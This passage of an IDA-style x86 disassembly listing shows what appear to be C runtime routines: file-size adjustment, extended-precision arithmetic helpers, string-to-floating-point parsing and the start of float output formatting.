call esi ; GetProcAddress
mov ds:dword_4E2B68, eax
loc_428790: ; CODE XREF: sub_428710+11j
; sub_428710+60j ...
mov eax, ds:dword_4E2B68
test eax, eax
jz short loc_4287D5
call eax
test eax, eax
jz short loc_4287BC
lea ecx, [ebp+var_4]
push ecx
push 0Ch
lea ecx, [ebp+var_10]
push ecx
push 1
push eax
call ds:dword_4E2B6C
test eax, eax
jz short loc_4287BC
test [ebp+var_8], 1
jnz short loc_4287D5
loc_4287BC: ; CODE XREF: sub_428710+8Dj
; sub_428710+A4j
cmp ds:dword_4E290C, 4
jb short loc_4287CF
or [ebp+arg_A], 20h
jmp short loc_4287F4
; ---------------------------------------------------------------------------
loc_4287CB: ; CODE XREF: sub_428710+22j
; sub_428710+3Dj
xor eax, eax
jmp short loc_428804
; ---------------------------------------------------------------------------
loc_4287CF: ; CODE XREF: sub_428710+B3j
or [ebp+arg_A], 4
jmp short loc_4287F4
; ---------------------------------------------------------------------------
loc_4287D5: ; CODE XREF: sub_428710+87j
; sub_428710+AAj
mov eax, ds:dword_4E2B60
test eax, eax
jz short loc_4287F4
call eax
mov ebx, eax
test ebx, ebx
jz short loc_4287F4
mov eax, ds:dword_4E2B64
test eax, eax
jz short loc_4287F4
push ebx
call eax
mov ebx, eax
loc_4287F4: ; CODE XREF: sub_428710+B9j
; sub_428710+C3j ...
push dword ptr [ebp+10h]
push [ebp+arg_4]
push [ebp+arg_0]
push ebx
call ds:dword_4E2B5C
loc_428804: ; CODE XREF: sub_428710+BDj
pop edi
pop esi
pop ebx
leave
retn
sub_428710 endp
; =============== S U B R O U T I N E =======================================
sub_428809 proc near ; CODE XREF: sub_42883C+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_4E2CC1[eax], cl
jnz short loc_428838
cmp [esp+arg_4], 0
jz short loc_428831
mov ecx, ds:off_4437D8
movzx eax, word ptr [ecx+eax*2]
and eax, [esp+arg_4]
jmp short loc_428833
; ---------------------------------------------------------------------------
loc_428831: ; CODE XREF: sub_428809+16j
xor eax, eax
loc_428833: ; CODE XREF: sub_428809+26j
test eax, eax
jnz short loc_428838
retn
; ---------------------------------------------------------------------------
loc_428838: ; CODE XREF: sub_428809+Fj
; sub_428809+2Cj
xor eax, eax
inc eax
retn
sub_428809 endp
; =============== S U B R O U T I N E =======================================
sub_42883C proc near ; CODE XREF: sub_42638A+3Fp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_428809
add esp, 0Ch
retn
sub_42883C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42884D proc near ; CODE XREF: sub_426A43+2A6p
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1008h
call sub_41EA20
mov eax, ds:dword_4437D4
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, ds:dword_4E2B98
mov [ebp+var_4], eax
jnb loc_428990
mov eax, ebx
sar eax, 5
mov eax, ds:dword_4E2BA0[eax*4]
mov ecx, ebx
and ecx, 1Fh
test byte ptr [eax+ecx*8+4], 1
jz loc_428990
push 1
push esi
push ebx
call sub_42569D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_1008], eax
jz loc_42899A
push 2
push esi
push ebx
call sub_42569D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_42899A
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42893A
push 1000h
lea eax, [ebp+var_1004]
push esi
push eax
call sub_41E5F0
push 8000h
push ebx
call sub_4293D8
add esp, 14h
mov [ebp+arg_0], eax
loc_4288EE: ; CODE XREF: sub_42884D+C6j
mov eax, 1000h
cmp edi, eax
jge short loc_4288F9
mov eax, edi
loc_4288F9: ; CODE XREF: sub_42884D+A8j
push eax
lea eax, [ebp+var_1004]
push eax
push ebx
call sub_425882
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_428917
sub edi, eax
test edi, edi
jg short loc_4288EE
jmp short loc_42892D
; ---------------------------------------------------------------------------
loc_428917: ; CODE XREF: sub_42884D+C0j
cmp ds:dword_4E28F8, 5
jnz short loc_42892A
mov ds:dword_4E28F4, 0Dh
loc_42892A: ; CODE XREF: sub_42884D+D1j
or esi, 0FFFFFFFFh
loc_42892D: ; CODE XREF: sub_42884D+C8j
push [ebp+arg_0]
push ebx
call sub_4293D8
pop ecx
pop ecx
jmp short loc_42897A
; ---------------------------------------------------------------------------
loc_42893A: ; CODE XREF: sub_42884D+7Cj
jge short loc_42897A
push 0
push [ebp+arg_4]
push ebx
call sub_42569D
push ebx
call sub_42696C
add esp, 10h
push eax
call ds:dword_42B1C8 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42897A
mov ds:dword_4E28F4, 0Dh
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4E28F8, eax
loc_42897A: ; CODE XREF: sub_42884D+EBj
; sub_42884D:loc_42893Aj ...
push 0
push [ebp+var_1008]
push ebx
call sub_42569D
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42899D
; ---------------------------------------------------------------------------
loc_428990: ; CODE XREF: sub_42884D+22j
; sub_42884D+3Ej
mov ds:dword_4E28F4, 9
loc_42899A: ; CODE XREF: sub_42884D+59j
; sub_42884D+6Ej
or eax, 0FFFFFFFFh
loc_42899D: ; CODE XREF: sub_42884D+141j
mov ecx, [ebp+var_4]
pop esi
pop ebx
call sub_422B83
leave
retn
sub_42884D endp
; =============== S U B R O U T I N E =======================================
sub_4289A9 proc near ; CODE XREF: sub_427B52+23p
; sub_427B52+3Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
lea ecx, [edx+esi]
xor eax, eax
cmp ecx, edx
jb short loc_4289BF
cmp ecx, esi
jnb short loc_4289C2
loc_4289BF: ; CODE XREF: sub_4289A9+10j
xor eax, eax
inc eax
loc_4289C2: ; CODE XREF: sub_4289A9+14j
mov edx, [esp+4+arg_8]
mov [edx], ecx
pop esi
retn
sub_4289A9 endp
; =============== S U B R O U T I N E =======================================
sub_4289CA proc near ; CODE XREF: sub_428A83+48p
; sub_428A83+69p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_4289A9
add esp, 0Ch
test eax, eax
jz short loc_4289FC
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_4289A9
add esp, 0Ch
test eax, eax
jz short loc_4289FC
inc dword ptr [esi+8]
loc_4289FC: ; CODE XREF: sub_4289CA+19j
; sub_4289CA+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_4289A9
add esp, 0Ch
test eax, eax
jz short loc_428A14
inc dword ptr [esi+8]
loc_428A14: ; CODE XREF: sub_4289CA+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_4289A9
add esp, 0Ch
pop edi
pop esi
retn
sub_4289CA endp
; =============== S U B R O U T I N E =======================================
sub_428A28 proc near ; CODE XREF: sub_428A83+38p
; sub_428A83+3Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, [eax]
mov ecx, esi
add esi, esi
push edi
mov edi, [eax+4]
shr ecx, 1Fh
mov [eax], esi
lea esi, [edi+edi]
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+4], esi
mov [eax+8], ecx
pop esi
retn
sub_428A28 endp
; =============== S U B R O U T I N E =======================================
sub_428A56 proc near ; CODE XREF: sub_428FE8+1BEp
; sub_42945A+187p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+8]
mov ecx, [eax+4]
push esi
push edi
mov edi, ecx
mov esi, edx
shr ecx, 1
shl esi, 1Fh
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
or ecx, edi
shr edx, 1
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_428A56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428A83 proc near ; CODE XREF: sub_428B61+3B2p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, ds:dword_4437D4
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
cmp eax, edx
push esi
push edi
mov [ebp+var_14], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_428AFE
mov [ebp+arg_8], eax
loc_428AB2: ; CODE XREF: sub_428A83+77j
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_428A28
push ebx
call sub_428A28
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4289CA
push ebx
call sub_428A28
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax]
and [ebp+var_C], 0
and [ebp+var_8], 0
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4289CA
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_428AB2
xor edx, edx
loc_428AFE: ; CODE XREF: sub_428A83+2Aj
cmp [ebx+8], edx
jnz short loc_428B32
mov edi, [ebx+8]
loc_428B06: ; CODE XREF: sub_428A83+AAj
mov ecx, [ebx+4]
add [ebp+var_14], 0FFF0h
mov eax, ecx
shr eax, 10h
mov edi, eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
cmp edi, edx
mov [ebx+4], esi
mov [ebx], eax
jz short loc_428B06
mov [ebx+8], edi
loc_428B32: ; CODE XREF: sub_428A83+7Ej
mov esi, 8000h
jmp short loc_428B47
; ---------------------------------------------------------------------------
loc_428B39: ; CODE XREF: sub_428A83+C7j
push ebx
call sub_428A28
add [ebp+var_14], 0FFFFh
pop ecx
loc_428B47: ; CODE XREF: sub_428A83+B4j
test [ebx+8], esi
jz short loc_428B39
mov ax, word ptr [ebp+var_14]
mov ecx, [ebp+var_4]
pop edi
pop esi
mov [ebx+0Ah], ax
pop ebx
call sub_422B83
leave
retn
sub_428A83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428B61 proc near ; CODE XREF: sub_427E44+1Fp
; sub_427E81+1Fp
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_19 = byte ptr -19h
var_14 = dword ptr -14h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_30]
push esi
mov [ebp+var_3C], eax
xor eax, eax
xor edx, edx
push edi
mov edi, [ebp+arg_8]
inc edx
mov [ebp+var_50], eax
mov [ebp+var_4C], edx
mov [ebp+var_34], eax
mov [ebp+var_44], eax
mov [ebp+var_58], eax
mov [ebp+var_5C], eax
mov [ebp+var_54], eax
mov [ebp+var_38], eax
mov [ebp+var_48], eax
mov [ebp+var_40], edi
loc_428B9E: ; CODE XREF: sub_428B61+54j
mov cl, [edi]
cmp cl, 20h
jz short loc_428BB4
cmp cl, 9
jz short loc_428BB4
cmp cl, 0Ah
jz short loc_428BB4
cmp cl, 0Dh
jnz short loc_428BB7
loc_428BB4: ; CODE XREF: sub_428B61+42j
; sub_428B61+47j ...
inc edi
jmp short loc_428B9E
; ---------------------------------------------------------------------------
loc_428BB7: ; CODE XREF: sub_428B61+51j
push 4
pop esi
loc_428BBA: ; CODE XREF: sub_428B61+B1j
; sub_428B61+BAj ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_428E2E ; default
; jumptable 00428BC6 case 10
jmp off_428FB8[eax*4] ; switch jump
loc_428BCD: ; DATA XREF: seg000:off_428FB8o
cmp bl, 31h ; jumptable 00428BC6 case 0
jl short loc_428BDE
cmp bl, 39h
jg short loc_428BDE
loc_428BD7: ; CODE XREF: sub_428B61+C7j
; sub_428B61+10Fj
push 3
jmp loc_428DE6
; ---------------------------------------------------------------------------
loc_428BDE: ; CODE XREF: sub_428B61+6Fj
; sub_428B61+74j
cmp bl, ds:byte_4437B4
jnz short loc_428BED
loc_428BE6: ; CODE XREF: sub_428B61+11Bj
push 5
jmp loc_428E24
; ---------------------------------------------------------------------------
loc_428BED: ; CODE XREF: sub_428B61+83j
movsx eax, bl
sub eax, 2Bh
jz short loc_428C14
dec eax
dec eax
jz short loc_428C08
sub eax, 3
jz loc_428C8B
loc_428C02: ; CODE XREF: sub_428B61+E7j
; sub_428B61+F1j ...
dec edi
jmp loc_428EC1
; ---------------------------------------------------------------------------
loc_428C08: ; CODE XREF: sub_428B61+96j
push 2
pop eax
mov [ebp+var_50], 8000h
jmp short loc_428BBA
; ---------------------------------------------------------------------------
loc_428C14: ; CODE XREF: sub_428B61+92j
and [ebp+var_50], 0
push 2
pop eax
jmp short loc_428BBA
; ---------------------------------------------------------------------------
loc_428C1D: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp bl, 31h ; jumptable 00428BC6 case 1
mov [ebp+var_44], edx
jl short loc_428C2A
cmp bl, 39h
jle short loc_428BD7
loc_428C2A: ; CODE XREF: sub_428B61+C2j
cmp bl, ds:byte_4437B4
jz loc_428CE4
cmp bl, 2Bh
jz short loc_428C60
cmp bl, 2Dh
jz short loc_428C60
cmp bl, 30h
jz short loc_428C8B
loc_428C45: ; CODE XREF: sub_428B61+1FAj
cmp bl, 43h
jle short loc_428C02
cmp bl, 45h
jle short loc_428C59
cmp bl, 63h
jle short loc_428C02
cmp bl, 65h
jg short loc_428C02
loc_428C59: ; CODE XREF: sub_428B61+ECj
push 6
jmp loc_428E24
; ---------------------------------------------------------------------------
loc_428C60: ; CODE XREF: sub_428B61+D8j
; sub_428B61+DDj ...
dec edi
push 0Bh
jmp loc_428E24
; ---------------------------------------------------------------------------
loc_428C68: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp bl, 31h ; jumptable 00428BC6 case 2
jl short loc_428C76
cmp bl, 39h
jle loc_428BD7
loc_428C76: ; CODE XREF: sub_428B61+10Aj
cmp bl, ds:byte_4437B4
jz loc_428BE6
cmp bl, 30h
jnz loc_428DF2
loc_428C8B: ; CODE XREF: sub_428B61+9Bj
; sub_428B61+E2j
mov eax, edx
jmp loc_428BBA
; ---------------------------------------------------------------------------
loc_428C92: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
mov [ebp+var_44], edx ; jumptable 00428BC6 case 3
loc_428C95: ; CODE XREF: sub_428B61+179j
cmp ds:dword_4437B0, edx
movzx eax, bl
jle short loc_428CAE
push esi
push eax
call sub_422B91
pop ecx
xor edx, edx
pop ecx
inc edx
jmp short loc_428CBA
; ---------------------------------------------------------------------------
loc_428CAE: ; CODE XREF: sub_428B61+13Dj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, esi
loc_428CBA: ; CODE XREF: sub_428B61+14Bj
test eax, eax
jz short loc_428CDC
cmp [ebp+var_34], 19h
jnb short loc_428CD4
mov eax, [ebp+var_3C]
inc [ebp+var_34]
sub bl, 30h
inc [ebp+var_3C]
mov [eax], bl
jmp short loc_428CD7
; ---------------------------------------------------------------------------
loc_428CD4: ; CODE XREF: sub_428B61+161j
inc [ebp+var_38]
loc_428CD7: ; CODE XREF: sub_428B61+171j
mov bl, [edi]
inc edi
jmp short loc_428C95
; ---------------------------------------------------------------------------
loc_428CDC: ; CODE XREF: sub_428B61+15Bj
cmp bl, ds:byte_4437B4
jnz short loc_428D49
loc_428CE4: ; CODE XREF: sub_428B61+CFj
mov eax, esi
jmp loc_428BBA
; ---------------------------------------------------------------------------
loc_428CEB: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp [ebp+var_34], 0 ; jumptable 00428BC6 case 4
mov [ebp+var_44], edx
mov [ebp+var_58], edx
jnz short loc_428D04
jmp short loc_428CFF
; ---------------------------------------------------------------------------
loc_428CF9: ; CODE XREF: sub_428B61+1A1j
dec [ebp+var_38]
mov bl, [edi]
inc edi
loc_428CFF: ; CODE XREF: sub_428B61+196j
cmp bl, 30h
jz short loc_428CF9
loc_428D04: ; CODE XREF: sub_428B61+194j
; sub_428B61+1E6j
cmp ds:dword_4437B0, edx
movzx eax, bl
jle short loc_428D1D
push esi
push eax
call sub_422B91
pop ecx
xor edx, edx
pop ecx
inc edx
jmp short loc_428D29
; ---------------------------------------------------------------------------
loc_428D1D: ; CODE XREF: sub_428B61+1ACj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, esi
loc_428D29: ; CODE XREF: sub_428B61+1BAj
test eax, eax
jz short loc_428D49
cmp [ebp+var_34], 19h
jnb short loc_428D44
inc [ebp+var_34]
mov eax, [ebp+var_3C]
sub bl, 30h
inc [ebp+var_3C]
dec [ebp+var_38]
mov [eax], bl
loc_428D44: ; CODE XREF: sub_428B61+1D0j
mov bl, [edi]
inc edi
jmp short loc_428D04
; ---------------------------------------------------------------------------
loc_428D49: ; CODE XREF: sub_428B61+181j
; sub_428B61+1CAj
cmp bl, 2Bh
jz loc_428C60
cmp bl, 2Dh
jz loc_428C60
jmp loc_428C45
; ---------------------------------------------------------------------------
loc_428D60: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp ds:dword_4437B0, edx ; jumptable 00428BC6 case 5
mov [ebp+var_58], edx
movzx eax, bl
jle short loc_428D7C
push esi
push eax
call sub_422B91
pop ecx
xor edx, edx
pop ecx
inc edx
jmp short loc_428D88
; ---------------------------------------------------------------------------
loc_428D7C: ; CODE XREF: sub_428B61+20Bj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, esi
loc_428D88: ; CODE XREF: sub_428B61+219j
test eax, eax
jz short loc_428DF2
mov eax, esi
jmp short loc_428DE7
; ---------------------------------------------------------------------------
loc_428D90: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp bl, 31h ; jumptable 00428BC6 case 6
lea ecx, [edi-2]
mov [ebp+var_40], ecx
jl short loc_428DA0
cmp bl, 39h
jle short loc_428DE4
loc_428DA0: ; CODE XREF: sub_428B61+238j
movsx eax, bl
sub eax, 2Bh
jz short loc_428E22
dec eax
dec eax
jz short loc_428E16
sub eax, 3
jnz loc_428EBF
loc_428DB5: ; CODE XREF: sub_428B61+28Fj
push 8
jmp short loc_428E24
; ---------------------------------------------------------------------------
loc_428DB9: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
mov [ebp+var_5C], edx ; jumptable 00428BC6 case 8
jmp short loc_428DC1
; ---------------------------------------------------------------------------
loc_428DBE: ; CODE XREF: sub_428B61+263j
mov bl, [edi]
inc edi
loc_428DC1: ; CODE XREF: sub_428B61+25Bj
cmp bl, 30h
jz short loc_428DBE
cmp bl, 31h
jl loc_428C02
cmp bl, 39h
jg loc_428C02
jmp short loc_428DE4
; ---------------------------------------------------------------------------
loc_428DDA: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp bl, 31h ; jumptable 00428BC6 case 7
jl short loc_428DED
cmp bl, 39h
jg short loc_428DED
loc_428DE4: ; CODE XREF: sub_428B61+23Dj
; sub_428B61+277j
push 9
loc_428DE6: ; CODE XREF: sub_428B61+78j
pop eax
loc_428DE7: ; CODE XREF: sub_428B61+22Dj
dec edi
jmp loc_428BBA
; ---------------------------------------------------------------------------
loc_428DED: ; CODE XREF: sub_428B61+27Cj
; sub_428B61+281j
cmp bl, 30h
jz short loc_428DB5
loc_428DF2: ; CODE XREF: sub_428B61+124j
; sub_428B61+229j
mov edi, [ebp+var_40]
jmp loc_428EC1
; ---------------------------------------------------------------------------
loc_428DFA: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
cmp [ebp+arg_18], 0 ; jumptable 00428BC6 case 11
jz short loc_428E2A
movsx eax, bl
sub eax, 2Bh
lea ecx, [edi-1]
mov [ebp+var_40], ecx
jz short loc_428E22
dec eax
dec eax
jnz loc_428EBF
loc_428E16: ; CODE XREF: sub_428B61+249j
or [ebp+var_4C], 0FFFFFFFFh
push 7
pop eax
jmp loc_428BBA
; ---------------------------------------------------------------------------
loc_428E22: ; CODE XREF: sub_428B61+245j
; sub_428B61+2ABj
push 7
loc_428E24: ; CODE XREF: sub_428B61+87j
; sub_428B61+FAj ...
pop eax
jmp loc_428BBA
; ---------------------------------------------------------------------------
loc_428E2A: ; CODE XREF: sub_428B61+29Dj
push 0Ah
pop eax
dec edi
loc_428E2E: ; CODE XREF: sub_428B61+5Fj
; sub_428B61+65j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00428BC6 case 10
jnz loc_428BBA
jmp loc_428EC1
; ---------------------------------------------------------------------------
loc_428E3C: ; CODE XREF: sub_428B61+65j
; DATA XREF: seg000:off_428FB8o
mov [ebp+var_5C], 1 ; jumptable 00428BC6 case 9
xor esi, esi
loc_428E45: ; CODE XREF: sub_428B61+322j
cmp ds:dword_4437B0, 1
movzx eax, bl
jle short loc_428E5D
push 4
push eax
call sub_422B91
pop ecx
pop ecx
jmp short loc_428E6A
; ---------------------------------------------------------------------------
loc_428E5D: ; CODE XREF: sub_428B61+2EEj
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 4
loc_428E6A: ; CODE XREF: sub_428B61+2FAj
test eax, eax
jz short loc_428E8A
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_428E85
mov bl, [edi]
inc edi
jmp short loc_428E45
; ---------------------------------------------------------------------------
loc_428E85: ; CODE XREF: sub_428B61+31Dj
mov esi, 1451h
loc_428E8A: ; CODE XREF: sub_428B61+30Bj
mov [ebp+var_54], esi
loc_428E8D: ; CODE XREF: sub_428B61+35Cj
cmp ds:dword_4437B0, 1
movzx eax, bl
jle short loc_428EA5
push 4
push eax
call sub_422B91
pop ecx
pop ecx
jmp short loc_428EB2
; ---------------------------------------------------------------------------
loc_428EA5: ; CODE XREF: sub_428B61+336j
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 4
loc_428EB2: ; CODE XREF: sub_428B61+342j
test eax, eax
jz loc_428C02
mov bl, [edi]
inc edi
jmp short loc_428E8D
; ---------------------------------------------------------------------------
loc_428EBF: ; CODE XREF: sub_428B61+24Ej
; sub_428B61+2AFj
mov edi, ecx
loc_428EC1: ; CODE XREF: sub_428B61+A2j
; sub_428B61+294j ...
cmp [ebp+var_44], 0
mov eax, [ebp+arg_4]
mov [eax], edi
jz loc_428F66
push 18h
pop eax
cmp [ebp+var_34], eax
jbe short loc_428EED
cmp [ebp+var_19], 5
jl short loc_428EE1
inc [ebp+var_19]
loc_428EE1: ; CODE XREF: sub_428B61+37Bj
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
dec eax
inc [ebp+var_38]
jmp short loc_428EF0
; ---------------------------------------------------------------------------
loc_428EED: ; CODE XREF: sub_428B61+375j
mov eax, [ebp+var_3C]
loc_428EF0: ; CODE XREF: sub_428B61+38Aj
cmp [ebp+var_34], 0
jbe loc_428F8D
jmp short loc_428F02
; ---------------------------------------------------------------------------
loc_428EFC: ; CODE XREF: sub_428B61+3A5j
dec [ebp+var_34]
inc [ebp+var_38]
loc_428F02: ; CODE XREF: sub_428B61+399j
dec eax
cmp byte ptr [eax], 0
jz short loc_428EFC
lea eax, [ebp+var_14]
push eax
push [ebp+var_34]
lea eax, [ebp+var_30]
push eax
call sub_428A83
mov eax, [ebp+var_54]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_4C], ecx
jge short loc_428F27
neg eax
loc_428F27: ; CODE XREF: sub_428B61+3C2j
add eax, [ebp+var_38]
cmp [ebp+var_5C], ecx
jnz short loc_428F32
add eax, [ebp+arg_10]
loc_428F32: ; CODE XREF: sub_428B61+3CCj
cmp [ebp+var_58], ecx
jnz short loc_428F3A
sub eax, [ebp+arg_14]
loc_428F3A: ; CODE XREF: sub_428B61+3D4j
cmp eax, 1450h
jg short loc_428F6F
cmp eax, 0FFFFEBB0h
jl short loc_428F86
push [ebp+arg_C]
push eax
lea eax, [ebp+var_14]
push eax
call sub_42968C
mov edx, [ebp+var_14]
mov ebx, [ebp+var_14+2]
mov esi, [ebp+var_E]
mov eax, [ebp+var_A]
add esp, 0Ch
jmp short loc_428F95
; ---------------------------------------------------------------------------
loc_428F66: ; CODE XREF: sub_428B61+369j
mov [ebp+var_48], 4
jmp short loc_428F8D
; ---------------------------------------------------------------------------
loc_428F6F: ; CODE XREF: sub_428B61+3DEj
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_48], 2
jmp short loc_428F95
; ---------------------------------------------------------------------------
loc_428F86: ; CODE XREF: sub_428B61+3E5j
mov [ebp+var_48], 1
loc_428F8D: ; CODE XREF: sub_428B61+393j
; sub_428B61+40Cj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
loc_428F95: ; CODE XREF: sub_428B61+403j
; sub_428B61+423j
mov ecx, [ebp+arg_0]
or eax, [ebp+var_50]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_48]
mov [ecx], dx
mov ecx, [ebp+var_4]
pop esi
pop ebx
call sub_422B83
leave
retn
sub_428B61 endp
; ---------------------------------------------------------------------------
off_428FB8 dd offset loc_428BCD ; DATA XREF: sub_428B61+65r
dd offset loc_428C1D ; jump table for switch statement
dd offset loc_428C68
dd offset loc_428C92
dd offset loc_428CEB
dd offset loc_428D60
dd offset loc_428D90
dd offset loc_428DDA
dd offset loc_428DB9
dd offset loc_428E3C
dd offset loc_428E2E
dd offset loc_428DFA
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428FE8 proc near ; CODE XREF: sub_427FEF+34p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, ds:dword_4437D4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_2C], 1
mov edx, eax
jz short loc_429052
mov byte ptr [ebx+2], 2Dh
jmp short loc_429056
; ---------------------------------------------------------------------------
loc_429052: ; CODE XREF: sub_428FE8+62j
mov byte ptr [ebx+2], 20h
loc_429056: ; CODE XREF: sub_428FE8+68j
test dx, dx
mov edi, [ebp+arg_4]
jnz short loc_42906B
test edi, edi
jnz short loc_42906B
cmp [ebp+arg_0], edi
jz loc_42915E
loc_42906B: ; CODE XREF: sub_428FE8+74j
; sub_428FE8+78j
cmp dx, si
jnz short loc_4290E8
mov eax, 80000000h
cmp edi, eax
mov word ptr [ebx], 1
jnz short loc_429084
cmp [ebp+arg_0], 0
jz short loc_429093
loc_429084: ; CODE XREF: sub_428FE8+94j
test edi, 40000000h
jnz short loc_429093
push offset a1Snan ; "1#SNAN"
jmp short loc_4290D9
; ---------------------------------------------------------------------------
loc_429093: ; CODE XREF: sub_428FE8+9Aj
; sub_428FE8+A2j
test cx, cx
jz short loc_4290AD
